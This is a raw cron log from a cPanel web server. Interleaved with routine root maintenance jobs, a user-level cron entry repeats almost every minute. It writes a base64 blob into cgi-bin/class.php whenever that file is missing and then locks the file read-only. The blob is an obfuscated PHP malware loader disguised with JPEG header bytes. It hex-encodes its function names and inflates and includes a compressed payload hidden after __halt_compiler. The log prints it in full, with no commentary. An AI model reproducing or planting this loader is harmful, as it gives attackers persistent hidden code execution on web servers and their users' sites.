Sep 11 21:08:01 server CROND[3086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:08:01 server CROND[3087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:09:01 server CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:09:01 server CROND[3455]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 21:09:01 server CROND[3454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:09:01 server CROND[3456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:10:01 server CROND[3858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:10:01 server CROND[3861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:10:01 server CROND[3862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:10:01 server CROND[3864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:10:01 server CROND[3863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:10:01 server CROND[3865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:10:01 server CROND[3870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:10:01 server CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:11:01 server CROND[4692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:11:01 server CROND[4693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:11:01 server CROND[4694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:12:01 server CROND[5218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:12:01 server CROND[5219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:12:01 server CROND[5220]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:12:01 server CROND[5221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:13:01 server CROND[5592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:13:01 server CROND[5593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:13:01 server CROND[5594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:14:01 server CROND[5968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:14:01 server CROND[5969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:14:01 server CROND[5970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:15:01 server CROND[6347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:15:01 server CROND[6349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:15:01 server CROND[6351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:15:01 server CROND[6352]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 21:15:01 server CROND[6350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:15:01 server CROND[6354]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:15:01 server CROND[6355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:15:01 server CROND[6353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:16:01 server CROND[7211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:16:01 server CROND[7212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:16:01 server CROND[7213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:17:01 server CROND[7683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:17:01 server CROND[7684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:17:01 server CROND[7685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:18:02 server CROND[8057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:18:02 server CROND[8058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:18:02 server CROND[8059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:19:01 server CROND[8454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:19:01 server CROND[8455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:19:01 server CROND[8456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:20:01 server CROND[8928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
